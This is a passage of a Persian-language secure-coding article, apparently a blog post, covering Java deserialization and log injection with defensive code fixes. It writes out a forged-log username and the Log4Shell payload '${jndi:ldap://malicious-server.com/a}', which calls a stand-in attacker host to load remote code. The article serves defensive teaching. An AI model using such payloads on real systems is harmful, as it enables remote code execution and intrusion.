\u0645\u062a\u062f \u00abresolveClass\u00bb \u0644\u063a\u0648 \u0634\u062f\u0647 \u0648 \u062d\u0627\u0648\u06cc \u0628\u0631\u0631\u0633\u06cc \u0646\u0627\u0645 \u06a9\u0644\u0627\u0633 \u0627\u0633\u062a. \u0645\u0627 \u0627\u0632 \u0627\u06cc\u0646 \u06a9\u0644\u0627\u0633 \u062c\u062f\u06cc\u062f\u060c SecureObjectInputStream\u060c \u0628\u0631\u0627\u06cc \u062f\u0631\u06cc\u0627\u0641\u062a \u062c\u0631\u06cc\u0627\u0646 \u0634\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u06cc\u0645. \u0627\u0645\u0627 \u0645\u0627 \u06cc\u06a9 \u0628\u0631\u0631\u0633\u06cc \u0644\u06cc\u0633\u062a \u0645\u062c\u0627\u0632 \u0631\u0627 \u0642\u0628\u0644 \u0627\u0632 \u062e\u0648\u0627\u0646\u062f\u0646 \u062c\u0631\u06cc\u0627\u0646 \u062f\u0631 \u06cc\u06a9 \u0634\u06cc (\u06a9\u0627\u0631\u0628\u0631) \u0627\u0636\u0627\u0641\u0647 \u0645\u06cc \u06a9\u0646\u06cc\u0645.<\/p>\n<p> public class SecureObjectInputStream extends ObjectInputStream {<br \/>\n   private static final Set ALLOWED_CLASSES = Set.of(User.class.getName());<br \/>\n   @Override<br \/>\n   protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {<br \/>\n     if (!ALLOWED_CLASSES.contains(osc.getName())) {<br \/>\n       throw new InvalidClassException(&#8220;Unauthorized deserialization&#8221;, osc.getName());<br \/>\n     }<br \/>\n     return super.resolveClass(osc);<br \/>\n   }<br \/>\n }<br \/>\n&#8230;<br \/>\n public class RequestProcessor {<br \/>\n   protected void doGet(HttpServletRequest request, HttpServletResponse response) {<br \/>\n     ServletInputStream servletIS = request.getInputStream();<br \/>\n     ObjectInputStream  objectIS  = new SecureObjectInputStream(servletIS);<br \/>\n     User input                 = (User) objectIS.readObject();<br \/>\n   }<br \/>\n }<\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u0642\u0648\u0627\u0646\u06cc\u0646 SonarCloud\/SonarQube \u0648 SonarLint \u06a9\u0647 \u0628\u0647 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0632\u0631\u06cc\u0642 deserialization \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0631\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u062f.<\/p>\n<p>  \u062a\u0632\u0631\u06cc\u0642 \u0686\u0648\u0628<\/p>\n<p>\u0633\u06cc\u0633\u062a\u0645 \u062b\u0628\u062a \u06af\u0632\u0627\u0631\u0634 \u06cc\u06a9 \u062c\u0632\u0621 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631\u06cc \u06cc\u0627 \u0633\u0631\u0648\u06cc\u0633\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0636\u0628\u0637 \u0631\u0648\u06cc\u062f\u0627\u062f\u0647\u0627\u060c \u067e\u06cc\u0627\u0645 \u0647\u0627 \u0648 \u0633\u0627\u06cc\u0631 \u062f\u0627\u062f\u0647 \u0647\u0627\u06cc \u062a\u0648\u0644\u06cc\u062f \u0634\u062f\u0647 \u062a\u0648\u0633\u0637 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0627\u060c \u0633\u06cc\u0633\u062a\u0645 \u0647\u0627 \u06cc\u0627 \u062f\u0633\u062a\u06af\u0627\u0647 \u0647\u0627 \u0637\u0631\u0627\u062d\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a. \u06af\u0632\u0627\u0631\u0634 \u0647\u0627 \u0628\u0631\u0627\u06cc \u0646\u0638\u0627\u0631\u062a\u060c \u0639\u06cc\u0628 \u06cc\u0627\u0628\u06cc\u060c \u0645\u0645\u06cc\u0632\u06cc \u0648 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u0648 \u0631\u0641\u062a\u0627\u0631 \u0648 \u0639\u0645\u0644\u06a9\u0631\u062f \u0633\u06cc\u0633\u062a\u0645 \u0636\u0631\u0648\u0631\u06cc \u0647\u0633\u062a\u0646\u062f.<\/p>\n<p>\u0645\u0639\u0645\u0648\u0644\u0627\u064b\u060c \u0627\u06cc\u0646 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627 \u0634\u06a9\u0633\u062a\u200c\u0647\u0627\u060c \u062a\u0644\u0627\u0634\u200c\u0647\u0627 \u0628\u0631\u0627\u06cc \u0648\u0631\u0648\u062f \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645 \u0648 \u062d\u062a\u06cc \u0645\u0648\u0641\u0642\u06cc\u062a\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u062b\u0628\u062a \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u062f\u0631 \u0635\u0648\u0631\u062a \u0628\u0631\u0648\u0632 \u0645\u0634\u06a9\u0644 \u062f\u0631 \u0627\u0634\u06a9\u0627\u0644\u200c\u0632\u062f\u0627\u06cc\u06cc \u06a9\u0645\u06a9 \u06a9\u0646\u0646\u062f.<\/p>\n<p>\u0627\u0645\u0627\u060c \u0622\u0646\u0647\u0627 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0647 \u06cc\u06a9 \u0628\u0631\u062f\u0627\u0631 \u062d\u0645\u0644\u0647 \u062a\u0628\u062f\u06cc\u0644 \u0634\u0648\u0646\u062f.<\/p>\n<p>\u062a\u0632\u0631\u06cc\u0642 \u0644\u0627\u06af \u0646\u0648\u0639\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0622\u0646 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc \u06af\u0632\u0627\u0631\u0634 \u0631\u0627 \u0628\u0627 \u062a\u0632\u0631\u06cc\u0642 \u0648\u0631\u0648\u062f\u06cc \u0645\u062e\u0631\u0628 \u0628\u0647 \u0622\u0646\u200c\u0647\u0627 \u062f\u0633\u062a\u06a9\u0627\u0631\u06cc \u06a9\u0646\u062f. \u0627\u06af\u0631 \u0633\u06cc\u0627\u0647\u0647\u0647\u0627 \u0628\u0647 \u062f\u0631\u0633\u062a\u06cc \u0636\u062f \u0639\u0641\u0648\u0646\u06cc \u0646\u0634\u0648\u0646\u062f\u060c \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0645\u0646\u062c\u0631 \u0628\u0647 \u0686\u0646\u062f\u06cc\u0646 \u0645\u0634\u06a9\u0644 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0648\u062f.<\/p>\n<p>\u0647\u0646\u06af\u0627\u0645\u06cc \u06a9\u0647 \u0645\u0647\u0627\u062c\u0645 \u0645\u062d\u062a\u0648\u0627\u06cc \u06af\u0632\u0627\u0631\u0634 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u0645\u06cc \u062f\u0647\u062f \u062a\u0627 \u0622\u0646\u0647\u0627 \u0631\u0627 \u062e\u0631\u0627\u0628 \u06a9\u0646\u062f \u06cc\u0627 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0646\u0627\u062f\u0631\u0633\u062a \u0631\u0627 \u0628\u0631\u0627\u06cc \u0627\u06cc\u062c\u0627\u062f \u0645\u0634\u06a9\u0644 \u062f\u0631 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0622\u0646\u0647\u0627 \u06cc\u0627 \u0634\u06a9\u0633\u062a\u0646 \u062a\u062c\u0632\u06cc\u0647 \u06a9\u0646\u0646\u062f\u0647 \u0647\u0627\u06cc \u06af\u0632\u0627\u0631\u0634\u060c \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0633\u06cc\u0633\u062a\u0645 \u0647\u0627\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a \u06af\u0632\u0627\u0631\u0634\u060c \u06a9\u0647 \u062f\u0631 \u0622\u0646 \u0645\u0647\u0627\u062c\u0645 \u0633\u06cc\u0627\u0647\u0647 \u0647\u0627 \u0631\u0627 \u0628\u0647 \u0622\u0646\u0647\u0627 \u062a\u0632\u0631\u06cc\u0642 \u0645\u06cc \u06a9\u0646\u062f\u060c \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0645\u0633\u0627\u0626\u0644\u06cc \u0645\u0627\u0646\u0646\u062f \u062c\u0639\u0644 \u06af\u0632\u0627\u0631\u0634 \u0648 \u0622\u0644\u0648\u062f\u06af\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645. \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a \u06af\u0632\u0627\u0631\u0634 \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0645\u0646\u062c\u0631 \u0628\u0647 \u062d\u0645\u0644\u0627\u062a \u0628\u06cc\u0634\u062a\u0631 \u0645\u0627\u0646\u0646\u062f \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/p>\n<p>\u0628\u06cc\u0627\u06cc\u06cc\u062f \u06a9\u062f \u0632\u06cc\u0631 \u0631\u0627 \u062f\u0631 \u0646\u0638\u0631 \u0628\u06af\u06cc\u0631\u06cc\u0645\u060c \u062c\u0627\u06cc\u06cc \u06a9\u0647 \u06cc\u06a9 \u0645\u0642\u062f\u0627\u0631 \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u0645\u06cc \u06af\u06cc\u0631\u06cc\u0645 \u0648 \u0622\u0646 \u0631\u0627 \u062b\u0628\u062a \u0645\u06cc \u06a9\u0646\u06cc\u0645.<\/p>\n<p>   public void doGet(HttpServletRequest request, HttpServletResponse response) {<br \/>\n       String user = request.getParameter(&#8220;user&#8221;);<br \/>\n       if (user != null){<br \/>\n         logger.log(Level.INFO, &#8220;User: {0} login in&#8221;, user);<br \/>\n       }<br \/>\n   }<\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u0628\u06cc \u0636\u0631\u0631 \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc \u0631\u0633\u062f\u060c \u062f\u0631\u0633\u062a \u0627\u0633\u062a\u061f<\/p>\n<p>\u0627\u0645\u0627 \u0627\u06af\u0631 \u0645\u0647\u0627\u062c\u0645 \u0628\u062e\u0648\u0627\u0647\u062f \u0628\u0627 \u0627\u06cc\u0646 \u06a9\u0627\u0631\u0628\u0631 \u0648\u0627\u0631\u062f \u0634\u0648\u062f \u0686\u0647\u061f<\/p>\n<p> john login in\\n2024-08-19 12:34:56 INFO User &#8216;admin&#8217; login in<\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u0628\u0647 \u0648\u0636\u0648\u062d \u06cc\u06a9 \u0646\u0627\u0645 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0627\u0634\u062a\u0628\u0627\u0647 \u0627\u0633\u062a \u0648 \u0646\u0627\u0645\u0648\u0641\u0642 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f. \u0627\u0645\u0627\u060c \u062b\u0628\u062a \u062e\u0648\u0627\u0647\u062f \u0634\u062f \u0648 \u0634\u062e\u0635\u06cc \u06a9\u0647 \u0644\u0627\u06af \u0631\u0627 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc \u06a9\u0646\u062f \u0628\u0633\u06cc\u0627\u0631 \u06af\u06cc\u062c \u0645\u06cc \u0634\u0648\u062f<\/p>\n<p>   2024-08-19 12:34:56 INFO User &#8216;john&#8217; login in<br \/>\n   2024-08-19 12:34:56 ERROR User &#8216;admin&#8217; login in <\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u06cc\u0627 \u062d\u062a\u06cc \u0628\u062f\u062a\u0631!! \u0627\u06af\u0631 \u0645\u0647\u0627\u062c\u0645 \u0628\u062f\u0627\u0646\u062f \u06a9\u0647 \u0633\u06cc\u0633\u062a\u0645 \u0627\u0632 \u06cc\u06a9 \u0646\u0633\u062e\u0647 Log4J \u0628\u062f\u0648\u0646 \u0648\u0635\u0644\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u062f\u060c \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0645\u0642\u062f\u0627\u0631 \u0632\u06cc\u0631 \u0631\u0627 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06a9\u0627\u0631\u0628\u0631 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f \u0648 \u0633\u06cc\u0633\u062a\u0645 \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0631\u0646\u062c \u0645\u06cc \u0628\u0631\u062f. \u0633\u0631\u0648\u0631 LDAP \u06a9\u0647 \u062a\u0648\u0633\u0637 \u0645\u0647\u0627\u062c\u0645 \u06a9\u0646\u062a\u0631\u0644 \u0645\u06cc \u0634\u0648\u062f \u0628\u0627 \u0627\u0631\u062c\u0627\u0639 \u0628\u0647 \u06a9\u0644\u0627\u0633 \u0645\u062e\u0631\u0628 \u062c\u0627\u0648\u0627 \u06a9\u0647 \u0631\u0648\u06cc \u06cc\u06a9 \u0633\u0631\u0648\u0631 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a \u067e\u0627\u0633\u062e \u0645\u06cc \u062f\u0647\u062f. \u0628\u0631\u0646\u0627\u0645\u0647 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 \u0627\u06cc\u0646 \u06a9\u0644\u0627\u0633 \u0631\u0627 \u062f\u0627\u0646\u0644\u0648\u062f \u0648 \u0627\u062c\u0631\u0627 \u0645\u06cc \u06a9\u0646\u062f \u0648 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u06a9\u0646\u062a\u0631\u0644 \u0633\u0631\u0648\u0631 \u0631\u0627 \u0645\u06cc \u062f\u0647\u062f.<\/p>\n<p>    $ { jndi:ldap:\/\/malicious-server.com\/a}<\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u0627\u0645\u0627 \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0627\u0632 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0626\u0644 \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u06a9\u0646\u06cc\u0645.<\/p>\n<p>\u067e\u0627\u06a9\u0633\u0627\u0632\u06cc \u0645\u0642\u0627\u062f\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0627\u06cc\u062f \u062b\u0628\u062a \u0634\u0648\u0646\u062f \u0628\u0631\u0627\u06cc \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062c\u0639\u0644 \u06af\u0632\u0627\u0631\u0634 \u0645\u0647\u0645 \u0627\u0633\u062a\u060c \u0632\u06cc\u0631\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0645\u0646\u062c\u0631 \u0628\u0647 \u062e\u0631\u0648\u062c\u06cc\u200c\u0647\u0627\u06cc \u06af\u06cc\u062c\u200c\u06a9\u0646\u0646\u062f\u0647 \u062c\u0639\u0644\u06cc \u062a\u0648\u0633\u0637 \u06a9\u0627\u0631\u0628\u0631 \u0634\u0648\u062f.<\/p>\n<p>     \/\/ Log the sanitised username<br \/>\n     String user = sanitiseInput(request.getParameter(&#8220;user&#8221;));<br \/>\n   }<\/p>\n<p>  private String sanitiseInput(String input) {<br \/>\n     \/\/ Replace newline and carriage return characters with a safe placeholder<br \/>\n     if (input != null) {<br \/>\n       input = input.replaceAll(&#8220;[\\\\n\\\\r]&#8221;, &#8220;_&#8221;);<br \/>\n     }<br \/>\n     return input;<br \/>\n   }<\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u0646\u062a\u06cc\u062c\u0647\u200c\u0627\u06cc \u06a9\u0647 \u062f\u0631 \u0644\u0627\u06af\u200c\u0647\u0627 \u062e\u0648\u0627\u0647\u06cc\u0645 \u062f\u06cc\u062f \u0628\u0647 \u0635\u0648\u0631\u062a \u0632\u06cc\u0631 \u0627\u0633\u062a\u060c \u0648 \u0627\u06a9\u0646\u0648\u0646 \u0622\u0633\u0627\u0646\u200c\u062a\u0631 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0631\u062f \u06a9\u0647 \u0647\u0645\u0647 \u06af\u0632\u0627\u0631\u0634\u200c\u0647\u0627 \u0628\u0647 \u06cc\u06a9 \u0641\u0631\u0627\u062e\u0648\u0627\u0646\u06cc \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645 \u06af\u0632\u0627\u0631\u0634 \u062a\u0639\u0644\u0642 \u062f\u0627\u0631\u0646\u062f.<\/p>\n<p>   2024-08-19 12:34:56 INFO User &#8216;john&#8217; login in_2024-08-19 12:34:56 ERROR User &#8216;admin&#8217; login in <\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u0628\u0647 \u0645\u0646\u0638\u0648\u0631 \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645 \u06af\u0632\u0627\u0631\u0634\u200c\u06af\u06cc\u0631\u06cc\u060c \u0645\u0647\u0645 \u0627\u0633\u062a \u06a9\u0647 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u0647\u0627\u06cc\u0645\u0627\u0646 \u0631\u0627 \u062a\u0627 \u062d\u062f \u0627\u0645\u06a9\u0627\u0646 \u0628\u0647 \u0622\u062e\u0631\u06cc\u0646 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u067e\u0627\u06cc\u062f\u0627\u0631 \u0628\u0647\u200c\u0631\u0648\u0632 \u0646\u06af\u0647 \u062f\u0627\u0631\u06cc\u0645. \u0628\u0631\u0627\u06cc log4j\u060c \u0622\u0646 \u0627\u0635\u0644\u0627\u062d \u0639\u0645\u0644\u06a9\u0631\u062f \u0631\u0627 \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u0645\u06cc \u06a9\u0646\u062f. \u0645\u0627 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc JNDI \u0631\u0627 \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0646\u06cc\u0645.<\/p>\n<p>     -Dlog4j2.formatMsgNoLookups=true<\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u0627\u06af\u0631 \u0647\u0645\u0686\u0646\u0627\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 JNDI \u062f\u0627\u0631\u06cc\u062f\u060c \u06cc\u06a9 \u0641\u0631\u0622\u06cc\u0646\u062f \u0636\u062f\u0639\u0641\u0648\u0646\u06cc \u0645\u0639\u0645\u0648\u0644 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0627 \u0628\u0631\u0631\u0633\u06cc \u0645\u0642\u0635\u062f \u062f\u0631 \u0644\u06cc\u0633\u062a \u0645\u0642\u0635\u062f\u0647\u0627\u06cc \u0645\u062c\u0627\u0632\u060c \u0627\u0632 \u062d\u0645\u0644\u0627\u062a \u0645\u062e\u0631\u0628 \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u06a9\u0646\u062f.<\/p>\n<p>public class AllowedlistJndiContextFactory implements InitialContextFactory {<br \/>\n   \/\/ Define your list of allowed JNDI URLs<br \/>\n   private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList(<br \/>\n       &#8220;ldap:\/\/trusted-server.com&#8221;,<br \/>\n       &#8220;ldaps:\/\/secure-server.com&#8221;<br \/>\n   );<\/p>\n<p>   @Override<br \/>\n   public Context getInitialContext(Hashtable environment) throws NamingException {<br \/>\n       String providerUrl = (String) environment.get(Context.PROVIDER_URL);<\/p>\n<p>       if (isAllowed(providerUrl)) {<br \/>\n           return new InitialContext(environment);<br \/>\n       } else {<br \/>\n           throw new NamingException(&#8220;JNDI lookup &#8221; + providerUrl + &#8221; not allowed&#8221;);<br \/>\n       }<br \/>\n   }<\/p>\n<p>   private boolean isAllowed(String url) {<br \/>\n       if (url == null) {<br \/>\n           return false;<br \/>\n       }<br \/>\n       for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) {<br \/>\n           if (url.startsWith(allowedPrefix)) {<br \/>\n               return true;<br \/>\n           }<br \/>\n       }<br \/>\n       return false;<br \/>\n   }<br \/>\n}<\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u0648 \u0633\u06cc\u0633\u062a\u0645 \u0645\u0627 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06a9\u0627\u0631\u062e\u0627\u0646\u0647 \u0632\u0645\u06cc\u0646\u0647 \u0641\u06cc\u0644\u062a\u0631 \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u06a9\u0646\u06cc\u062f.<\/p>\n<p>-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory<\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u0642\u0648\u0627\u0646\u06cc\u0646 SonarCloud\/SonarQube \u0648 SonarLint \u06a9\u0647 \u0628\u0647 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0632\u0631\u06cc\u0642 \u0648\u0631\u0648\u062f \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645 \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0631\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u062f.<\/p>\n<p>  \u0646\u062a\u06cc\u062c\u0647 \u06af\u06cc\u0631\u06cc<\/p>\n<p>\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0641\u0642\u0637 \u0646\u06af\u0631\u0627\u0646\u06cc\u200c\u0647\u0627\u06cc \u062a\u0626\u0648\u0631\u06cc \u0646\u06cc\u0633\u062a\u0646\u062f\u060c \u0628\u0644\u06a9\u0647 \u062a\u0647\u062f\u06cc\u062f\u0647\u0627\u06cc \u0648\u0627\u0642\u0639\u06cc \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 \u0642\u0628\u0644\u0627\u064b \u0634\u0631\u06a9\u062a\u200c\u0647\u0627\u06cc \u0628\u0632\u0631\u06af \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0645\u0646\u062c\u0631 \u0628\u0647 \u0622\u0633\u06cc\u0628 \u0645\u0627\u0644\u06cc \u0648 \u0627\u0639\u062a\u0628\u0627\u0631 \u0642\u0627\u0628\u0644 \u062a\u0648\u062c\u0647\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a.<\/p>\n<p>\u0627\u0632 \u062a\u0632\u0631\u06cc\u0642\u200c\u0647\u0627\u06cc SQL \u06af\u0631\u0641\u062a\u0647 \u062a\u0627 \u062a\u0632\u0631\u06cc\u0642\u200c\u0647\u0627\u06cc Deserialization \u0648 Logging\u060c \u0627\u06cc\u0646 \u0628\u0631\u062f\u0627\u0631\u0647\u0627\u06cc \u062d\u0645\u0644\u0647 \u0631\u0627\u06cc\u062c \u0647\u0633\u062a\u0646\u062f \u0648 \u0627\u06af\u0631 \u0628\u0647 \u062f\u0631\u0633\u062a\u06cc \u0645\u0648\u0631\u062f \u062a\u0648\u062c\u0647 \u0642\u0631\u0627\u0631 \u0646\u06af\u06cc\u0631\u0646\u062f\u060c \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0627\u0632 \u06a9\u062f \u0646\u0627\u0627\u0645\u0646 \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u0646\u062f.<\/p>\n<p>\u0628\u0627 \u062f\u0631\u06a9 \u0645\u0627\u0647\u06cc\u062a \u0627\u06cc\u0646 